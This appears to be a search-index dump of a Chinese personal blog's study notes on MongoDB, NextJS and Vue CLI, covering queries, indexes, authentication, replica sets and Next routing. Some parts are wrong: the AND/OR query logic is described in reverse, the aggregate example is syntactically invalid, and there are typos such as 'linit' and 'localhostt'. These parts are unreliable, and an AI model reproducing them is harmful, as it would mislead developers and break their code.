Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u0026gt;1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod \u0026ndash;dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo \u0026ndash;port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(\u0026ldquo;hallo\u0026rdquo;)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(\u0026ldquo;test\u0026rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )\n整个集合空间大小102400B, 文档最大个数为10000个\n删除集合（删除test集合）\ndb.test.drop()\n插入数据（数据结构和json一样）\ndb.test.insert() // 当数据主键已存在，抛出错误\ndb.test.insert({ title: \u0026quot;小陈的辣鸡屋\u0026quot;, description: \u0026quot;小陈辣鸡屋\u0026quot;, by: \u0026quot;小陈的辣鸡屋\u0026quot;, url: \u0026quot;https://xiaochenabc123.test.com\u0026quot;, tags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;], likes: 1 }) 查看插入的文档数据（默认只输出20条，输入it指令查看下一批，返回值为游标对象）\ndb.test.find()\n也可以将数据定位为一个变量\ndata=({ title: \u0026quot;小陈的辣鸡屋\u0026quot;, description: \u0026quot;小陈辣鸡屋\u0026quot;, by: \u0026quot;小陈的辣鸡屋\u0026quot;, url: \u0026quot;https://xiaochenabc123.test.com\u0026quot;, tags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;], likes: }) 更新数据（upsert参数是表示特殊的更新，如果目标不存在，那么就是插入）\ndb.test.update({ title: \u0026quot;小陈的辣鸡屋\u0026quot;, tags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;], },{$set:{\u0026quot;title\u0026quot;:\u0026quot;hallo 小陈的辣鸡屋\u0026quot;,tags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;,\u0026quot;xiaochenabc123.test.com\u0026quot;]}},{\u0026quot;upsert\u0026quot;: true}) 更新数据（主键存在则更新，不存在则插入）\ndb.test.save({ \u0026quot;_id\u0026quot; : ObjectId(\u0026quot;610f84ac242ec572ff8a1678\u0026quot;), \u0026quot;title\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot;, \u0026quot;description\u0026quot;: \u0026quot;小陈辣鸡屋\u0026quot;, \u0026quot;by\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot;, \u0026quot;url\u0026quot;: \u0026quot;https://xiaochenabc123.test.com\u0026quot;, \u0026quot;tags\u0026quot;: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;], \u0026quot;likes\u0026quot;: 666 }) 查看更新后的数据\ndb.test.find().pretty()\n删除数据\ndb.test.remove({ \u0026quot;title\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot; },1) 将title为小陈的辣鸡屋的第一条记录移除\n删除指定条件的数据\ndb.test.remove({ \u0026quot;title\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot; }) 删除全部数据\ndb.test.remove({})\n或者db.test.drop\n查询数据\nAND，OR\n查询条件默认为AND（和），只要有一项为真，则输出\ndb.test.find({\u0026ldquo;title\u0026rdquo;:\u0026ldquo;小陈的辣鸡屋\u0026rdquo;,\u0026ldquo;by\u0026rdquo;: \u0026ldquo;小陈的辣鸡屋\u0026rdquo;}).pretty()\nOR条件（或），需要全部项都真，则输出\ndb.test.find({$or:[{\u0026ldquo;title\u0026rdquo;:\u0026ldquo;小陈的辣鸡屋\u0026rdquo;,\u0026ldquo;by\u0026rdquo;: \u0026ldquo;小陈的辣鸡屋hallo\u0026rdquo;}]}).pretty()\n其他逻辑符：非（$not）,即非（$nor）\n条件判断\n大于（$gt）\ndb.test.find({likes : {$gt : 100}})\n大于等于（$gte）\ndb.test.find({likes : {$gte : 100}})\n小于（$lt）\ndb.test.find({likes : {$lt : 1000}})\n小于等于（$lte）\ndb.test.find({likes : {$lte : 1000}})\n组合（大于100，小于1000）\ndb.test.find({likes : {$gt : 100,$lte : 1000}})\n其他比较符：等于（$eq）,数组是否包含（$in）,不等于（$ne）,数组是否不包含（$nin）\n数组比较符：全包含（$all），大小匹配（$size），仅一个元素匹配（$elemMatch）\n按照降序输出（-1降序，1为顺序（默认为顺序，可省略1））\ndb.test.find().sort({id: -1})\n分页输出查询（这里是查看第3页的数据，每个页有5个数据）\ndb.test.find().skip(10).limit(5)\nskip: 指定跳过指定数量的数据 limit: 指定一个页有多少条数据\n投射（指定字段输出，默认输出_id，需要通过参数去除）\ndb.test.find({},{_id:0, title: 1,by: 1}).linit(5)\n聚合查询\n$match：过滤，类似于sql的where\n$project：投影，类似于sql的as\n$sort：排序，类似于sql的order by\n$group：分组，类似于sql的group by\n$skip/$limit：结果限制，类似于sql的skip/limit\n$lookup：左外连接，类似于sql的left outer join\ndb.test.aggregate({ {$sort({_id: -1})} {$group: {_id: \u0026quot;$title\u0026quot;, data: {$sum :1}}} }) 按照id降序输出，并且按照title字段输出，每个数据累计一行输出\n查看数据库信息（其中size字段为数据库的大小，默认单位为字节,这里输出的单位是MB）\ndb.test.stats(1024*1024)\n登录验证（auth）\n选择库\nuse admin\n创建用户\ndb.createUser({ user:\u0026quot;root\u0026quot;, pwd:\u0026quot;root\u0026quot;, roles:[ { role:\u0026quot;userAdminAnyDatabase\u0026quot;, db:\u0026quot;admin\u0026quot; }, { role:\u0026quot;clusterAdmin\u0026quot;, db:\u0026quot;admin\u0026quot; }, { role:\u0026quot;dbAdminAnyDatabase\u0026quot;, db:\u0026quot;admin\u0026quot; } ] }) 如果创建普通用户，role为readWrite和read\nread：允许读数据的权限\nreadWrite：允许读和写数据的权限\nuserAdminAnyDatabase：允许管理所有数据库的用户的权限，只能用于admin用户\nclusterAdmin：获取管理集群的最高权限，只能用于admin用户\ndbAdminAnyDatabase： 获取管理所有数据库的权限，只能用于admin用户\nroot没有任何限制（吴迪）\ndb.createUser( { user:\u0026quot;root\u0026quot;, pwd:\u0026quot;pwd\u0026quot;, roles:[\u0026quot;root\u0026quot;] } ) 启用auth\nmongod.conf\nsecurity: authorization: enabled\n或者\nmongo.conf\nauth=true\n也是可以终端 mongod \u0026ndash;auth\n注意：MongoDB允许同user，但是db不允许相同，因为同用户名的用户之间是根据db参数区别的，db参数就是该用户在该数据库的权限（admin用户除外）\n查看用户\nshow users\n修改密码\ndb.changeUserPassword(\u0026ldquo;admin\u0026rdquo;, \u0026ldquo;abc123\u0026rdquo;)\n或者\ndb.runCommand( { updateUser:\u0026quot;admin\u0026quot;, pwd:\u0026quot;abc123\u0026quot;, } ) 删除用户\ndb.dropUser(\u0026lsquo;root\u0026rsquo;)\n验证用户（用户鉴权）（符合1表示验证成功，0为失败）\ndb.auth(\u0026lsquo;admin\u0026rsquo;, \u0026lsquo;abc123\u0026rsquo;)\n登录\nmongo -u admin -p abc123 \u0026ndash;host localhostt \u0026ndash;port 27017 \u0026ndash;authenticationDatabase admin\n或者\nmongo mongodb://admin:abc123@127.0.0.1:27017\nmongo shell 基于JavaScript语法，因此可以执行JavaScript程序，其JavaScript解析器引擎为SpiderMonkey（正是Firefox浏览器同款解释器，由Mozilla提供）（注意：在3.2+版本，才是SpiderMonkey引擎，之前的版本是v8引擎）\n索引，通过关键词来快速得到自己想要的数据\n升序输出单字段索引 db.test.ensureIndex({title:1})\n复合索引就是多字段组合的索引\ndb.test.ensureIndex({_id:1, title:1})\n数组索引（tags字段是一个数组）\ndb.test.ensureIndex({tags:1})\n注意：MongoDB不允许在复合索引中出现多个数组字段\n唯一性约束（保证数据的唯一性，写入重复的数据，会导致报错（输出的字段也不是唯一的也报错），使用unique: true声明）\ndb.test.ensureIndex({title:1}, {unique: true})\n数组索引的唯一性并不能保证数组元素的唯一性\nTTL索引（数据老化处理）\ndb.test.ensureIndex({Date:1}, {expireAfterSeconds: 60})\n创建一个TTL索引，指向Date字段，并且expireAfterSeconds: 60表示该数据60秒后过期（过期后，会进行清理该数据）\n修改过期时间（已创建TTL索引）\ndb.runCommand({collMod:\u0026ldquo;test\u0026rdquo;,index: {keyPattern:{Data:1},expireAfterSeconds: 600}})\n修改过期时间为10分钟\nMongoDB允许多个结构不同的数据存储在同一个数据库中（索引该数据时，不存在的字段将输出null）\n稀疏索引\ndb.test.ensureIndex({title:1}, {sparse: true})\n文本索引\ndb.test.ensureIndex({title: \u0026ldquo;text\u0026rdquo;, by: \u0026ldquo;text\u0026rdquo;})\n通过文本索引进行搜索文本（通过$text操作符输出包含$search指向的关键词的数据，对中日韩等语言支持不怎么理想，对英文支持很好）\ndb.test.find({$text: {$search: \u0026ldquo;chen\u0026rdquo;}})\n模糊索引（假设data是一个嵌套数据，其下还有多个不同的属性）\ndb.test.createIndex({\u0026ldquo;data.$**\u0026rdquo;: 1})\n副本集架构（由一个主节点和多个副本节点组成）\n主节点写入数据后，副本节点进行同步复制工作，确保副本节点拥有和主节点的数据副本，当主节点发生故障不可用时，副本节点将通过Raft算法选举出新的主节点（这个步骤是全自动的，无需进行额外配置）\nRaft选举算法：主节点会向副节点发送心跳包，确保主节点存活，如果在一段时间内副节点没有接收到心跳包，副节点将转换为候选者，候选者得到投票数最多者成为主节点（副节点在每个选举期中只能给候选者投一票，而且只有当对方的任期时间和日志时间与自己一样新时，才进行投票给对方，如果没有得到最多数票，会重新发起选举，如果在该选举期中发现有主节点的心跳包时，进行判断对方任期是否和自己一样新，如果是则为副节点，如果不是，继续选举）\n只能是当任期结束了或者主节点没有发送心跳包了才会触发选举，而且Raft使用了一种预投票的机制（preVote），通过预投票的方式来试探是否选举成功，只有当预投票通过才能发起真实的投票\nMongoDB基于Raft算法进行了一些扩展，例如副节点可以选择离自己最近（心跳延时）的节点来复制数据，并不一定要向主节点复制数据\nMongoDB的选举：具备投票权的节点之间互相发送心跳（默认每2秒发送一次心跳包），当5次心跳没有接收到时，认定该节点失联，如果失联是主节点，会发起选举，成为候选者，如果失联的是副节点，则不会发起选举，成为候选者后，其他节点只有当对方的oplog日志和自己一样新时，投票给对方，一个节点一个选举期内只能投一票，候选者票数占大数时为主节点，如果主节点突然存活了，则判断该节点的oplog日志是否和自己一样，如果不是则继续选举，如果是则放弃选举，重新恢复到副节点身份\noplog同步数据，主节点当一个写操作完成时，向oplog写入一条日志，副节点通过该oplog拉取新日志，达到数据同步\n当主节点发生修改，插入，更新，删除等操作时，主节点会将这些操作记录下来，而这个记录叫oplog\n副节点通过在主节点上打开tailable游标来获取主节点的新oplog，并且将oplog的记录在自身回放，来保持于主节点的数据一致\n注意：oplog的容量并不是无限的，是有固定大小的，当容量满了，会将旧日志滚动清理\n副本集架构在实现高可用的同时，也可以完成读写分离，数据分发，异地容灾\n一个副本集架构最少需要3个节点（并且节点都具备投票权）：一个主节点，2个副节点\n主节点接受写入工作，副节点承担复制主节点的数据工作\n副本集最多50个节点，具备选举投票权节点最多7个，其他节点则不参与投票\n成为主节点的节点选举必须是集群中大多数节点存活（选举投票权节点有7个时，最少要有4个选举节点存活），并且该节点能于多数节点连接通信，而且具备较新的oplog，而且还可以设置优先级来影响选举结果\n副本集节点的选配设置：是否具备投票权（v），优先级（优先级为0则表示该节点不会成为主节点，优先级越高则优先成为主节点，priority），隐藏（对应用不可见，但是可以复制主节点数据，隐藏节点可以具备投票权，但是优先级必须为0（不能成为主节点）hidden），延迟（复制多少秒之前的数据，保持于主节点的数据时间差（避免主节点数据因为误操作而导致副本集节点也跟着更新了），slaveDelay）\n副本集节点注意：副节点存在成为主节点的可能，因此不要将一些副节点的硬件配置设置很低，应该保持和主节点的配置一致，而且硬件尽量保持独立性，副本集节点软件版本应保持一致，增加副本节点不会提高副本集架构的写入性能，副本集的写入由主节点完成，主节点只能有一个，增加副本节点只能提高读的性能（读写分离，主写，副读）\n搭建mongodb副本集\n每个mongodb实例需要一个数据目录来存储数据文件，每个mongodb实例需要一个配置文件和一个日志文件\n副本集节点mongod.conf实例：\nsystemLog: destination: file path: \u0026quot;/mongodb1/mongodb.log\u0026quot; # 日志文件路径 logAppend: true # 实例重新启动时，将写入日志的末尾 storage: dbpath: \u0026quot;/mongodb1/data\u0026quot; # 数据存储目录 journal: enabled: true # 启用持久性日志 processManagement: fork: true # 使用守护进程（独立进程）的模式运行实例 pidFilePath: \u0026quot;/data/mongodb.pid\u0026quot; # 保存实例进程id的文件路径，会将pid写入到该文件中 net: bindIP: 0.0.0.0 # 0.0.0.0表示所有网卡都监听，如果设置为127.0.0.1，外界无法访问 port: 27017 replication: replSetName: a1 #副本集节点名称 以配置文件的模式启动mongodb实例\nmongod -f db/mongod.conf\n查看mongod进程运行情况\nps -ef | grep mongod\n配置副本集\n进入一个节点，初始化，再将节点一个个传进副本集\nrs.initiate() rs.add('mongodb1:27017') rs.add('mongodb2:27017') rs.add('mongodb3:27017') mongodb1需要被解析（hosts文件配置主机名）\n或者节点初始化时就配置好\nrs.initiate({ _id: 'rs0', members: [{ _id: 0, host: '196.168.1.2:27017' },{ _id: 1, host: '196.168.1.3:27017' },{ _id: 2, host: '196.168.1.4:27017' }] }) 验证副本集是否工作：在主节点上写入，然后在副节点上读，如果读到则表示工作正常\n分片集群架构\n\u0026ndash;\n数据模型设计\n数据模型是由一组符号，文本组成的集合，用来表达信息\n组成一个数据模型的元素有实体（Entity），属性（Attribute），以及关系（Relationship）\n传统的模型设计：概念模型（CDM），逻辑模型（LDM），物理模型（PDM）\nJSON文档模型设计（通过字段或者集合来表示关系）\n事务开发\nmongodb提供了事务来保证数据不丢失\n写入操作事务\nwritConcern决定一个写入操作落到多少个节点才算成功，取值为0时表示不关心，1至集群max节点数表示写入操作被复制到指定节点数才算成功，majority表示写入操作被复制到大多数节点才算成功，all表示全部节点都被写入时认定成功\n注意：当设置非0的值时，发起写入操作将导致阻塞，一直到认为成功为止\njournal决定这个节点写入操作如何才算成功，true表示写入操作落到journal文件中时认定成功，false表示写入操作落到内存时就认定成功\ndb.test.insert({count: 1}, {writConcern: {w: \u0026ldquo;majority\u0026rdquo;})\n读取操作事务\nreadPreference决定数据从哪个节点读，primary表示只选择主节点读，primaryPreferred表示优先选择主节点，如果不可用则选择副节点，secondary表示只选择副节点，secondaryPreferred表示优先选择副节点，如果副节点不可用，则选择主节点，nearest表示选择最近的节点（通过ping延迟来选择最近）\n在连接时设置\nmongodb://196.168.1.2:27017,196.168.1.3:27017,196.168.1.4:27017/?replicaSet=rs\u0026amp;readPreference=nearest\n或者在mongo shell设置\ndb.collection.find({}).readPref(\u0026rsquo;nearest\u0026rsquo;)\nreadConcern决定什么数据可以读，available表示读取全部可用数据，local表示全部可用并且熟悉当前分片的数据，majority表示读取在大多数节点上完成的数据，linearizable表示可线性化读取（只读取大多数节点确认的数据（会等待其他节点去更新，最后读取最新的数据，比majority更安全，但是读取数据时很慢，需要等待节点更新）），snapshot表示读取最近快照中的数据（只读同一个快照下的数据）\nmongodb通过维护快照来链接不同版本的数据（MVCC机制），被大多数节点确认过的版本都是快照，快照一直持续没有被使用才会被删除\n安全的读写分离：搭配writConcern和readConcern，writConcern和readConcern都设置为majority，表示数据写入安全和数据读取安全\n事务的ACID：原子性，一致性，隔离性，持久性\n事务完成之前，事务外的操作对该事务的修改不可访问\n","permalink":"https://chenjunlinabc.github.io/posts/76/","summary":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u0026gt;1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod \u0026ndash;dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo \u0026ndash;port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(\u0026ldquo;hallo\u0026rdquo;)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(\u0026ldquo;test\u0026rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )","title":"MongoDB学习笔记"},{"content":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n\u0026ldquo;dev\u0026rdquo; : \u0026ldquo;next\u0026rdquo;, \u0026ldquo;build\u0026rdquo;: \u0026ldquo;next build\u0026rdquo;, \u0026ldquo;start\u0026rdquo;: \u0026ldquo;next start\u0026rdquo;\n创建个js文件\nfunction Hallo(){ return( \u0026lt;div\u0026gt;hallo next.js\u0026lt;/div\u0026gt; ) } export default Hallo yarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \u0026quot;next/link\u0026quot; \u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt; Link不支持直接加兄弟标签，起码要有一个父级标签\n利用Router实现跳转\nimport Router from \u0026quot;next/router\u0026quot; \u0026lt;button onClick={()=\u0026gt;{Router.push(\u0026quot;/\u0026quot;)}}\u0026gt;返回\u0026lt;/button\u0026gt; 路由跳转通过query传递参数和接收参数\n传递参数\n\u0026lt;Link href=\u0026quot;/hallo?name=hallo\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt; 接收参数\nimport {withRouter} from \u0026quot;next/router\u0026quot; const Hallo = ({router}) =\u0026gt;{ return( \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;{router.query.name} word\u0026lt;/div\u0026gt; \u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;Link\u0026gt; \u0026lt;/div\u0026gt; ) } export default withRouter(Hallo) 也是可以用编程式跳转的方式\n函数的方式\nfunction goData(){ Router.push('/hallo?name=hallo') } 或者用对象的方式\nRouter.push({ pathname: \u0026quot;/hallo\u0026quot;, query: {name: \u0026quot;hallo\u0026quot;} }) 路由的钩子函数\nrouteChangeStart // 路由将发生变化的时候触发\nrouteChangeComplete // 路由发生变化完成\nbeforeHistoryChange // 在history触发前，nextjs路由变化默认是通过history进行的\n正常情况下先触发routeChangeStart，然后beforeHistoryChange，再触发routeChangeComplete\nrouteChangeError // 路由变化发生错误时\nhashChangeStart // hash路由将发生变化的时候触发\nhashChangeComplete // hash路由发生变化完成\nhash路由（锚点）\n\u0026lt;div\u0026gt; \u0026lt;Link href=\u0026quot;#hallo\u0026quot;\u0026gt;\u0026lt;a\u0026gt;选hallo\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt; \u0026lt;/div\u0026gt; 钩子触发调用自定义函数\nRouter.push.on(\u0026quot;routeChangeStart\u0026quot;,(...url)=\u0026gt;{ console.log(\u0026quot;routeChangeStart触发\u0026quot;,...url) }) axios从远端获取数据\nimport axios from \u0026quot;axios\u0026quot; Hallo.getInitialProps = async() =\u0026gt;{ const promise = new Promise((resolve)=\u0026gt;{ axios(\u0026quot;url\u0026quot;).then( (datas)=\u0026gt;{ console.log(datas) resolve(datas.data.data) } ) }) return await promise } export default withRouter(Hallo) Style JSX，Next.js\n\u0026lt;style jsx\u0026gt; {` div{color: red;} .post{color: red;} `} \u0026lt;/style\u0026gt; 使用jsx，nextjs会自动加入随机类名，防止css污染\n自定义Head\nimport Head from \u0026quot;next/head\u0026quot; ... ... \u0026lt;Head\u0026gt; \u0026lt;title\u0026gt;hallo word\u0026lt;/title\u0026gt; \u0026lt;/Head\u0026gt; next打包\nnext build\n运行\nnext start -p 8000\n如果使用antd，打包失败，可以在page目录下建_app.js文件\nimport App from 'next/app' import 'antd/dist/antd.css' export default App 然后再打包\n页面\n/pages/demo.js\nfunction Demo(){ return(\u0026lt;h2\u0026gt;test\u0026lt;/h2\u0026gt;) } export default Demo Next会自动完成路由配置\n自定义组件\n/components/demo.js\nexport default ({data})=\u0026gt;\u0026lt;h2\u0026gt;{data}\u0026lt;/h2\u0026gt; 导入组件\nimport Demo from '../components/demo' ... \u0026lt;Demo\u0026gt;test\u0026lt;/Demo\u0026gt; 搭配Axios获取远端数据（Next中提供了getInitialProps方法来获取）\n/pages/demo.js\nimport axios from 'axios' Demo.getInitialProps = async ()=\u0026gt;{ const promise =new Promise((resolve)=\u0026gt;{ axios('https://xiaochenabc123.test.com/feed/').then( (res)=\u0026gt;{ console.log('远程数据结果：',res) resolve(res.data.data) } ) }) return await promise } Next CSS(style jsx)\n\u0026lt;style jsx\u0026gt; {` h2{color: #000;} `} \u0026lt;/style\u0026gt; 注意：使用style jsx了，Next会自动生成一个随机类名，来避免CSS的全局污染\nLazyLoading 模块懒加载\nfunction MainData(){ const Data= async ()=\u0026gt;{ const axios = await import('axios') ... } 当该函数触发异步加载该模块\n懒加载组件\nimport dynamic from \u0026rsquo;next/dynamic' const Demo = dynamic(import(\u0026rsquo;../components/Demo\u0026rsquo;))\n只有当需要用到组件才会被加载，利用的是next提供dynamic模块\n自定义（next自身已经定义了head组件，只需要导入就是可以用了）\nimport Head from 'next/head' const Header = ()=\u0026gt;{ return ( \u0026lt;\u0026gt; \u0026lt;Head\u0026gt; \u0026lt;title\u0026gt; 小陈的辣鸡屋 \u0026lt;/title\u0026gt; \u0026lt;/Head\u0026gt; \u0026lt;/\u0026gt; ) } export default Header antd依赖\n安装next css配置\nNextJS使用@zeit/next-css将会警告，请卸载@zeit/next-css\nWarning: Built-in CSS support is being disabled due to custom CSS configuration being detected.\nantd 按需加载（babel-plugin-import）（当需要哪个组件才会加载到生产环境中，而且不是整个antd）\nyarn add babel-plugin-import\n根目录新建.babelrc配置\n{ \u0026quot;presets\u0026quot;:[\u0026quot;next/babel\u0026quot;], \u0026quot;plugins\u0026quot;:[ [ \u0026quot;import\u0026quot;, { \u0026quot;libraryName\u0026quot;:\u0026quot;antd\u0026quot;, \u0026quot;style\u0026quot;:\u0026quot;css\u0026quot; } ] ] } Turbopack是基于Rust开发的打包器，使用Rust的SWC编译器，Turbopack将作为Nextjs的开发服务端，提供强大的HMR支持，目前还在alpha测试中，可以通过yarn dev \u0026ndash;turbo运行next13项目体验\nTurbopack基于Rust开源的Turbo记忆化框架，Turbo可以缓存函数的结果（存储在内存中，只有当停止dev服务时清除缓存，但是Turbopack也提供了远程缓存来对于生产环境的使用（基于Git）），第二次运行时，不会执行函数，而是直接使用结果，除非发生改变\n","permalink":"https://chenjunlinabc.github.io/posts/74/","summary":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n\u0026ldquo;dev\u0026rdquo; : \u0026ldquo;next\u0026rdquo;, \u0026ldquo;build\u0026rdquo;: \u0026ldquo;next build\u0026rdquo;, \u0026ldquo;start\u0026rdquo;: \u0026ldquo;next start\u0026rdquo;\n创建个js文件\nfunction Hallo(){ return( \u0026lt;div\u0026gt;hallo next.js\u0026lt;/div\u0026gt; ) } export default Hallo yarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \u0026quot;next/link\u0026quot; \u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt; Link不支持直接加兄弟标签，起码要有一个父级标签","title":"NextJS学习笔记"},{"content":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add 